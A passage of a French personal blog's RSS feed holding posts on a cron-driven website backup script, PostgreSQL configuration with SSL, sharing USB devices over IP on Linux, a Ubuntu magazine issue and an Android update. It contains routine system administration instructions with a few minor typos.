<p>Aujourd&#8217;hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d&#8217;injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-exploitation-de-faille/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Petit script de sauvegarde d&#8217;un serveur Web avec Shell restreint</title>
		<link>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint</link>
		<comments>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/#comments</comments>
		<pubDate>Sun, 07 Aug 2011 01:59:12 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=255</guid>
		<description><![CDATA[Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web : sauvegarde périodique (les fichiers sont conservés 15 jours) sauvegarde des bases de données (variables à changer) sauvegarde des fichiers du site (chemins à changer) Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg"><img class="aligncenter size-full wp-image-272" title="sauvegarde" src="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg" alt="" width="256" height="256" /></a></p>
<p>Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web :</p>
<ul>
<li>sauvegarde périodique (les fichiers sont conservés 15 jours)</li>
<li>sauvegarde des bases de données (variables à changer)</li>
<li>sauvegarde des fichiers du site (chemins à changer)</li>
</ul>
<p>Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, n&#8217;hésitez pas à l&#8217;améliorer et à le partager ici !</p>
<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=255&amp;download=backup.sh">backup.sh</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25513"><td class="code" id="p255code13"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#définitions des variables :</span>
<span style="color: #007800;">datedujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">fichierdujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>-SqlBackup.tar.gz
<span style="color: #007800;">datequinze</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">'15 days ago'</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># On afficher les infos date du jour et autre pour le log.</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date du jour : <span style="color: #007800;">$datedujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Fichier du jour : <span style="color: #007800;">$fichierdujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date il y a 15 jours : <span style="color: #007800;">$datequinze</span>&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#On supprime  toutes les sauvegardes existantes dans le dossier d'exécution</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">*</span>.sql
&nbsp;
<span style="color: #666666; font-style: italic;"># La commande dump :</span>
mysqldump <span style="color: #660033;">-h</span> localhost <span style="color: #660033;">-u</span> LOGIN_BDD <span style="color: #660033;">-pPASSWORD</span> NOM_BDD <span style="color: #000000; font-weight: bold;">&gt;</span> BDD.sql
&nbsp;
<span style="color: #666666; font-style: italic;">#on archive tous les backups dans un zip a la date du jour</span>
<span style="color: #666666; font-style: italic;"># tar czf $fichierdujour *.sql</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on sauvegarde les fichiers du repertoire web</span>
<span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-cvzf</span> www.tgz <span style="color: #000000; font-weight: bold;">/</span>public_html<span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on cree le répertoire du jour et y place les backups</span>
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">*</span>.sql  ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> www<span style="color: #000000; font-weight: bold;">*</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le répertoire d il y a 15 jours s'il existe</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-d</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>; <span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'suppression des anciens backups vieux de 15 jours ou plus'</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le tar.gz du jour</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fichierdujour</span></pre></td></tr></table></div>

<p>Puis exécuter :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p255code14'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25514"><td class="code" id="p255code14"><pre class="bash" style="font-family:monospace;">crontab <span style="color: #660033;">-e</span></pre></td></tr></table></div>

<p>Pour y ajouter la cron suivante :</p>
<p><span style="color: #800000;">0 0 * * * /root/scripts/backup.sh</span></p>
<p>&nbsp;</p>
<p>Je peux maintenant dormir tranquille, cron s&#8217;occupe de tout&#8230;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Ubuntu 11.04 dans le prochain Linux Identity</title>
		<link>http://my1.fr/blog/ubuntu-11-04-dans-le-prochain-linux-identity/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ubuntu-11-04-dans-le-prochain-linux-identity</link>
		<comments>http://my1.fr/blog/ubuntu-11-04-dans-le-prochain-linux-identity/#comments</comments>
		<pubDate>Tue, 17 May 2011 14:51:06 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=128</guid>
		<description><![CDATA[Je suis fier de vous présenter le prochain magazine qui va sortir le 26 mai consacré à la distribution Ubuntu 11.04. Au programme dans cette édition : Installation et mise à jour d&#8217;Ubuntu 11.04 (by me !) Unity, la révolution de l&#8217;identité visuelle d&#8217;Ubuntu Les indicateurs Logithèque Ubuntu (encore by me!) Logiciels à ne pas [...]]]></description>
			<content:encoded><![CDATA[<p>Je suis fier de vous présenter le prochain magazine qui va sortir le 26 mai consacré à la distribution Ubuntu 11.04.</p>
<p>Au programme dans cette édition :</p>
<ul>
<li><span style="color: #888888;"><em>Installation et mise à jour d&#8217;Ubuntu 11.04 (by me !)<br />
</em></span></li>
<li><span style="color: #888888;"><em>Unity, la révolution de l&#8217;identité visuelle d&#8217;Ubuntu</em></span></li>
<li><span style="color: #888888;"><em>Les indicateurs</em></span></li>
<li><span style="color: #888888;"><em>Logithèque Ubuntu (encore by me!)<br />
</em></span></li>
<li><span style="color: #888888;"><em>Logiciels à ne pas manquer (encore by me ! non mais !)<br />
</em></span></li>
<li><span style="color: #888888;"><em>LibreOffice</em></span></li>
<li><span style="color: #888888;"><em>Editer les documents PDF avec PDFedit</em></span></li>
<li><span style="color: #888888;"><em>Capturer une vidéo du bureau avec Istanbul et recordItNow</em></span></li>
<li><span style="color: #888888;"><em>Synchroniser ses fichiers avec Ubuntu One (again by me)<br />
</em></span></li>
<li><span style="color: #888888;"><em>Les écrans tactiles et Ubuntu</em></span></li>
</ul>
<p>Pour ceux qui Linux est encore flou, ou pour les personnes désirant en connaitre toujours plus, ce magazine offre une réel concentré de ce qu&#8217;il faut savoir pour bien utiliser Ubuntu.</p>
<p>En attendant, si vous ne savez pas quoi faire, suivez moi sur <a title="Follow me !" href="http://twitter.com/_My1_" target="_blank">Twitter</a> !</p>
<p>&nbsp;</p>
<p><a title="Source" href="http://www.linuxidentity.com/index.php?name=News&amp;file=article&amp;sid=95" target="_blank">Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/ubuntu-11-04-dans-le-prochain-linux-identity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Base de données sécurisée avec PostgreSQL et OpenSSL</title>
		<link>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=base-de-donnees-securisee-avec-postgresql-et-openssl</link>
		<comments>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/#comments</comments>
		<pubDate>Wed, 17 Nov 2010 19:18:58 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[base de données]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[postgres]]></category>
		<category><![CDATA[postgresql]]></category>
		<category><![CDATA[sgbdor]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=98</guid>
		<description><![CDATA[Présentation de PostgreSQL PostgreSQL est un outil libre et fondé par une communauté mondiale de développeurs et d&#8217;entreprises. Il permet de stocker plus de types de données que les types traditionnels entier, caractères, etc&#8230; L&#8217;utilisateur peut créer des types, des fonctions, utiliser l&#8217;héritage de type et encore d&#8217;autres fonctionnalités très intéressantes. Réputé pour sa stabilité, [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; } --></p>
<ul>
<li><span style="text-decoration: underline;"><strong>Présentation de PostgreSQL</strong></span></li>
</ul>
<p>PostgreSQL est un outil libre et fondé par une communauté mondiale de développeurs et d&#8217;entreprises. Il permet de stocker plus de types de données que les types traditionnels entier, caractères, etc&#8230; L&#8217;utilisateur peut créer des types, des fonctions, utiliser l&#8217;héritage de type et encore d&#8217;autres fonctionnalités très intéressantes. Réputé pour sa stabilité, et son excellente compatibilité avec la norme ANSI SQL, mon choix s&#8217;est porté vers PostgreSQL par rapport aux besoins de performances des entreprises. En effet, les applications Web utilisent d&#8217;une part une base de données MySQL pour la partie front-end (les performances sont meilleures pour de petites requêtes vers une petite base de données), et d&#8217;une autre part une autre base de données PostreSQL pour les grosses requêtes sur des bases de données importantes, souvent utilisées par les applications métier.</p>
<p><span style="text-decoration: underline;">Note </span>: Dans ce billet, nous considérons avoir un serveur de base de données, un serveur web et un serveur d&#8217;applications séparés.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Installation des paquetages</strong></span></li>
</ul>
<p>Nous considérons que nous possédons déjà un système d&#8217;exploitation Debian GNU/Linux installé sur la machine.</p>
<p>Nous allons maintenant installer les logiciels nécessaires :</p>
<p><span style="color: #00ff00;"><em>apt-get install postgresql</em></span></p>
<p>Il est intéressant de remarquer que les dépendances vont être automatiquement installées (grâce au système de gestion de paquets APT).</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Configuration de PostgreSQL</strong></span></li>
</ul>
<p>Lors de l’installation, l’utilisateur « <strong> postgres </strong> » est créé automatiquement. Par défaut, le mot de passe de cet utilisateur n’est pas connu. Par mesure de sécurité, nous allons en affecter un et nous passerons sous l’utilisateur « postgres » sans passer par l’utilisateur « root » pour exécuter les processus (et donc éviter de lui donner trop de permissions) :</p>
<p><span style="color: #00ff00;"><em>passwd postgres</em></span></p>
<p>Pour travailler sur la base de données, il faut commencer par se connecter sous le compte de ce nouvel utilisateur :</p>
<p><span style="color: #00ff00;"><em>su – postgres</em></span></p>
<p>Par défaut les instances se trouvent dans le répertoire <em>/var/lib/postgresql</em> (c&#8217;est le <em>~postgres</em>). Elles sont gérées avec les wrappers en Perl <em>pg_*cluster</em>.</p>
<p>Par exemple <em>pg_createcluster</em> utilise en fait la commande <em>/usr/lib/postgresql/bin/initdb -D &lt;datadir&gt;.</em></p>
<p>Il faut également avoir des droits corrects sur /tmp/ et d&#8217;autant plus pour PostgreSQL sans lesquels l&#8217;installation échouera complètement :</p>
<p><span style="color: #00ff00;"><em>chmod 1777 /tmp</em></span></p>
<p>Nous allons créer notre base de données qui sera utilisée par l&#8217;application métier, mais tout d&#8217;abord, il faudra créer un utilisateur qui sera dédié à cette base de données.</p>
<p><span style="color: #00ff00;"><em># su – postgres</em></span></p>
<p><span style="color: #00ff00;"><em>$ createuser dbadmin -P -D -A</em></span></p>
<p><span style="color: #00ff00;"><em>$ createdb -0 dbadmin -E UNICODE DB1</em></span></p>
<p><span style="text-decoration: underline;">Note :</span> dbadmin sera l&#8217;utilisateur de la base de données DB1, elle même encodée en UNICODE.</p>
<p>Ensuite, il convient de configurer deux fichiers : <strong>pg_hba.conf</strong> et <strong>postgresql.conf</strong>.</p>
<p>Notons que les fichiers de configuration se trouvent dans le répertoire <strong>/etc/postgresql/8.3/main</strong> et la modification de ces derniers se font avec le super utilisateur « postgres ».</p>
<p>Le fichier<strong> </strong><em><strong>pg_hba.conf</strong></em> permet de régler les permissions. Voici la syntaxe :</p>
<p><span style="color: #ff0000;">local		DATABASE		USER		METHOD		[OPTION]</span></p>
<p><span style="color: #ff0000;">host		DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p><span style="color: #ff0000;">hostssl		DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p><span style="color: #ff0000;">hostnossl	DATABASE		USER		CIDR-ADDRESS	METHOD	[OPTION]</span></p>
<p>La ligne «<strong> local </strong>» permettra d&#8217;être en écoute « localement » sur la machine.</p>
<p>Le champ «<strong> DATABASE </strong>» concerne une base de donnée précise. Ce champ peut être de valeur « all » pour toutes les bases de données, « sameuser, « samerole », ou encore un nom précis de base de données.</p>
<p>Le champ «<strong> USER </strong>» peut être un nom d&#8217;utilisateur précis, un nom de groupe (avec le préfixe « + ») ou une liste d&#8217;utilisateurs séparés par des « - ».</p>
<p>Le champ « <strong>CIDR-ADDRESS</strong> » spécifie l&#8217;adresse IP (V4 ou V6) d&#8217;un hôte ou réseau distant ainsi qu&#8217;un masque de sous-réseau.</p>
<p>Le champ « <strong>METHOD</strong> » énonce la méthode d&#8217;authentification.</p>
<p>Le champ « <strong>[OPTION] </strong>» peut être utile lors d&#8217;une authentification avec PAM par exemple.</p>
<p>Voici maintenant notre fichier de configuration<strong> </strong><em><strong>pg_hba.conf</strong></em><em> </em>:</p>
<p><span style="color: #339966;"><em>local		all		postgres		ident sameuser</em></span></p>
<p><span style="color: #339966;"><em>hostssl		BDD1		dbadmin	192.168.53.1/32	md5</em></span></p>
<p>Ce fichier de configuration permet à l&#8217;utilisateur « postgres » d&#8217;accéder à toutes les bases de données en local, et notre serveur d&#8217;application distant pourra accéder à la base de données <em>BDD1</em>, avec l&#8217;utilisateur <em>dbadmin,</em> avec une authentification protégée par <em>md5</em>. Notez que dans cette configuration, une connexion SSL est exigée pour le serveur distant. Cela évite dans le cas d&#8217;une attaque « Man-on-the-middle » qu&#8217;une personne tierce accède aux données échangées.</p>
<p>Ensuite, il faut modifier le fichier de configuration  <strong>postgresql.conf</strong>. Voici les paramètres à modifier ou à ajouter :</p>
<p><span style="color: #339966;"><em>listen_addresses = &#8216;*&#8217;</em></span></p>
<p><span style="color: #339966;"><em>port = 5432</em></span></p>
<p><span style="color: #339966;"><em>ssl = on</em></span></p>
<p><span style="color: #339966;"><em>password_encryption = on</em></span></p>
<p>Il faudra ensuite créer un certificat pour l&#8217;échange des données clients/serveur.</p>
<p>Nous allons créer un certificat auto-signé, dédié à PostgreSQL :</p>
<p><span style="color: #00ff00;"><em>$ cd /var/lib/postgresql/8.3/main/</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl req -new -text -out server.req</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl rsa -in privkey.pem -out server.key</em></span></p>
<p><span style="color: #00ff00;"><em>$ openssl req -x509 -in server.req -text -key server.key -out server.crt</em></span></p>
<p><span style="color: #00ff00;"><em>$ rm privkey.pem</em></span></p>
<p><span style="color: #00ff00;"><em>$ chmod 600 serveur.key</em></span></p>
<p><span style="text-decoration: underline;">Note </span>: Ces commandes sont réalisées avec l&#8217;utilisateur « postgres ».</p>
<p>La clé et le certificat sont crées et protégés, nous pouvons maintenant redémarrer le service PostgreSQL :</p>
<p><span style="color: #00ff00;"><em>$ /etc/init.d/postgresql-8.3 restart</em></span></p>
<p>Le serveur peut désormais se connecter au serveur de base de données, avec les paramètres suivants :</p>
<p><span style="color: #0000ff;"><em>Hôte du serveur : 192.168.53.153</em></span></p>
<p><span style="color: #0000ff;"><em>Port TCP : 5432</em></span></p>
<p><span style="color: #0000ff;"><em>SSL : exigé</em></span></p>
<p><span style="color: #0000ff;"><em>Base de données : BDD1</em></span></p>
<p><span style="color: #0000ff;"><em>Utilisateur : dbadmin</em></span></p>
<p><span style="color: #0000ff;"><em>Mot de passe : &lt;mot de passe de l&#8217;utilisateur dbadmin&gt;</em></span></p>
<p>La base de données est maintenant crée, et configurée de manière à ce que les accès y soient sécurisés.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/base-de-donnees-securisee-avec-postgresql-et-openssl/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>USB Over IP sous Linux</title>
		<link>http://my1.fr/blog/usb-over-ip-sous-linux/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=usb-over-ip-sous-linux</link>
		<comments>http://my1.fr/blog/usb-over-ip-sous-linux/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 22:45:39 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Usb over IP]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/2010/02/15/usb-over-ip-sous-linux/</guid>
		<description><![CDATA[Vous disposez d&#8217;une imprimante USB (et seulement USB). Pour l&#8217;instant, vous n&#8217;avez aucun moyen de la contrôler depuis un autre ordinateur chez vous. Nous supposons bien entendu que les deux ordinateurs sont en réseaux (par le biais d&#8217;une box par exemple). Je veux pouvoir transformer mon imprimante USB en imprimante réseau (et donc pouvoir l&#8217;utiliser [...]]]></description>
			<content:encoded><![CDATA[<p>Vous disposez d&#8217;une imprimante USB (et seulement USB). Pour l&#8217;instant, vous n&#8217;avez aucun moyen de la contrôler depuis un autre ordinateur chez vous. Nous supposons bien entendu que les deux ordinateurs sont en réseaux (par le biais d&#8217;une box par exemple).</p>
<p>Je veux pouvoir transformer mon imprimante USB en imprimante réseau (et donc pouvoir l&#8217;utiliser et la contrôler partout chez moi).</p>
<p>La première solution qui s&#8217;offre à vous consiste à acheter un appareil qui partage sur le réseau les périphériques USB. Prévoyez un budget minimum de 100 euros pour avoir quelque chose de bien.</p>
<p>Mais heureusement que l&#8217;Open-Source est là, et nous allons nous débrouiller nous même, avec un budget de&#8230; 0 euros !</p>
<p>USB/IP est une excellente solution logicielle.</p>
<p><strong>Procédure coté serveur </strong></p>
<p>1- Téléchargez le logiciel présent dans les dépôts Debian / Ubuntu :</p>
<p><strong>sudo aptitude install usbip </strong></p>
<p>Vous devez charger les modules suivants pour être capable de contrôler vos ports USB :</p>
<p><strong>sudo modprobe usbip<br />
sudo modprobe usbip_common_mod </strong></p>
<p>Pour démarrer le service « usbip » comme un démon :</p>
<p><strong>sudo usbipd -D </strong></p>
<p>Le message suivant s&#8217;affiche.</p>
<p>Bind usbip.ko to a usb device to be exportable!</p>
<p>Pas de panique ! C&#8217;est normal. Cela signifie vous devez choisir quel sera le port USB à partager.</p>
<p>1- Branchez votre appareil USB (imprimante, webcam, etc&#8230;)</p>
<p>2- Exécutez la commande pour trouver l&#8217;identifiant du vendeur et de l&#8217;appareil :</p>
<p><strong>lsusb</strong></p>
<p>Il est sous la forme :</p>
<p><em>Bus XXX Device ZZZ: ID VendorID:DeviceID </em></p>
<p>Les identifiants Vendeur / Appareil (Vendor / Device) sont codés sur 4 digits chacun (03f0:7a11 par exemple).Le premier (03f0) est pour Hewlett-Packard (qui est la marque de mon imprimante), et le second (7a11) est l&#8217;appareil USB (ici, mon imprimante en elle même).</p>
<p>Maintenant que nous avons trouvé les identifiants matériel, nous sommes capable de localiser sa position sur le bus.</p>
<p><strong>sudo usbip_bind_driver &#8211;list </strong></p>
<p>Résultat :</p>
<p>busid 2-1.2 (03f0:7a11)<br />
2-1.2:1.0 -&gt; none<br />
2-1.2:1.1 -&gt; usblp<br />
2-1.2:1.2 -&gt; none<br />
2-1.2:1.3 -&gt; usb-storage</p>
<p>Trouvez l&#8217;identifiant du bus sur lequel est notre imprimante. Ici, c&#8217;est « 2-1.2 ».</p>
<p>Il est temps maintenant de connecter l&#8217;appareil USB au réseau :</p>
<p><strong>sudo usbip_bind_driver –usbip 2-1</strong></p>
<p>Vous devez avoir une réponse finale du genre :</p>
<p>** Message: bind 2-1.2 to usbip, complete!</p>
<p>Une fois cette commande exécutée, le serveur est maintenant en écoute sur le réseau dans l&#8217;attente de connections clients.</p>
<p><strong>Procédure coté client </strong></p>
<p>Installation du logiciel :</p>
<p><strong>sudo apt-get install usbip </strong></p>
<p>Chargez le module &laquo;&nbsp;vhci-hcd&nbsp;&raquo; :</p>
<p><strong>sudo modprobe vhci-hcd </strong></p>
<p>Pour lister les périphériques USB disponibles sur le serveur :</p>
<p><strong>sudo usbip -l &lt;@ ip&gt; </strong></p>
<p>Bien entendu, remplacer &lt;@ ip&gt; par l&#8217;adresse IP du serveur.</p>
<p>Enfin, la commande qui nous apporte un nouveau périphérique USB :</p>
<p><strong>sudo usbip -a &lt;@ ip&gt; X-Y</strong></p>
<p>Remplacer X-Y par le l&#8217;identifiant du bus (2-1.2:1.1 pour l&#8217;exemple de tout à l&#8217;heure).</p>
<p>Si tout va bien, le périphérique est maintenant reconnu par le système. Si c&#8217;est un périphérique amovible, le périphérique sera monté; dans le cas d&#8217;une imprimante, il faudra l&#8217;installer comme une imprimante normale.</p>
<p>Sachez également logiciel client existe aussi sous Windows et je vous donne même le <a href="http://ignum.dl.sourceforge.net/project/usbip/usbip/usbip-win-preview/usbip-win.zip">lien de téléchargement</a>.</p>
<p>Tout d&#8217;abord, il faut extraire l&#8217;archive téléchargée.<br />
En premier lieu, il faut installer le driver en cliquant droit sur le fichier bus.inf, puis sur « Installer ».<br />
Ensuite, exécutez une invite de commande Windows (Menu Démarrer, Exécuter, « cmd »).<br />
Avec la commande « cd » (comme sous Linux !), déplacez vous dans le répertoire où se trouve l&#8217;exécutable d&#8217;usbip.</p>
<p>Pour lister les périphériques USB disponibles sur le serveur (dans une invite de commande) :</p>
<p><strong>usbip.exe -l &lt;@ ip&gt; </strong></p>
<p>Et ensuite, la commande qui nous apporte un nouveau périphérique USB :</p>
<p><strong>usbip.exe -a &lt;@ ip&gt; USB-ID</strong></p>
<p>C&#8217;est bon ! Le périphérique USB doit maintenant être détecté par Windows !</p>
<p>J&#8217;espère avoir été clair sur les explications. Si vous avez suivi ce que j&#8217;ai fait à la lettre, tout devrait fonctionner. Sinon, vérifiez bien que vous avez choisi le bon identifiant du périphérique USB.<br />
J&#8217;ai testé et ça fonctionne : Imprimante USB transformée en imprimante réseau, disque dur USB partagé sur le réseau, Webcam utilisée comme caméra de surveillance.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/usb-over-ip-sous-linux/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Mise à jour d&#8217;Android sur mon HTC Dream</title>
		<link>http://my1.fr/blog/mise-a-jour-dandroid-sur-mon-htc-dream/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mise-a-jour-dandroid-sur-mon-htc-dream</link>
		<comments>http://my1.fr/blog/mise-a-jour-dandroid-sur-mon-htc-dream/#comments</comments>
		<pubDate>Sun, 14 Feb 2010 23:47:36 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Dream]]></category>
		<category><![CDATA[HTC]]></category>
		<category><![CDATA[mise à jour]]></category>
		<category><![CDATA[orange]]></category>
		<category><![CDATA[smartphone]]></category>
		<category><![CDATA[téléphone]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/2010/02/15/mise-a-jour-dandroid-sur-mon-htc-dream/</guid>
		<description><![CDATA[Voilà un certain temps que je l&#8217;attendais&#8230; Non, pas la Saint Valentin (quoi que). La mise à jour d&#8217;Android (1.5 vers 1.8) pour le HTC Dream de chez Orange ! Le fichier est disponible sur le site d&#8217;Orange et la documentation d&#8217;installation aussi. Rien de bien sorcier. Vous branchez le téléphone, lancez l&#8217;exécutable, et suivez [...]]]></description>
			<content:encoded><![CDATA[<p>Voilà un certain temps que je l&#8217;attendais&#8230;</p>
<p>Non, pas la Saint Valentin (quoi que).</p>
<p>La mise à jour d&#8217;Android (1.5 vers 1.8) pour le HTC Dream de chez Orange !</p>
<p>Le <a href="http://animation.orange.fr/maj_mobile/RUU_Dream_Orange_FR_1.86.73.4_release_signed_WithDriver.exe">fichier</a> est disponible sur le site d&#8217;Orange et la <a href="http://touslesmobiles.orange.fr/obj/pdf/HTCDream003_d.pdf">documentation</a> d&#8217;installation aussi.</p>
<p>Rien de bien sorcier.</p>
<p>Vous branchez le téléphone, lancez l&#8217;exécutable, et suivez les instructions.</p>
<p>Petite note intéressante. J&#8217;ai été obligé de booter sur un Windows pour pouvoir exécuter le &laquo;&nbsp;.exe&nbsp;&raquo; (encore une fois on a pas pensé aux linuxiens), mais en plus sous Windows Seven 64 bits, le driver de fonctionne pas. J&#8217;ai été contraint d&#8217;utiliser un autre ordi avec Windows XP. Voilà, donc si vous avez ce problème, soyez rassurés !</p>
<p>Après cette petite aventure, l&#8217;installation se passe très bien (10 minutes environ).</p>
<p>Le redémarrage un peu long, mais il faut être patient parfois.</p>
<p>Forcément, nous sommes obligés de reconfigurer le téléphone, mais rien de bien méchant, avec mon compte Google, mes agendas, mes contacts et mes messages sont restaurés.</p>
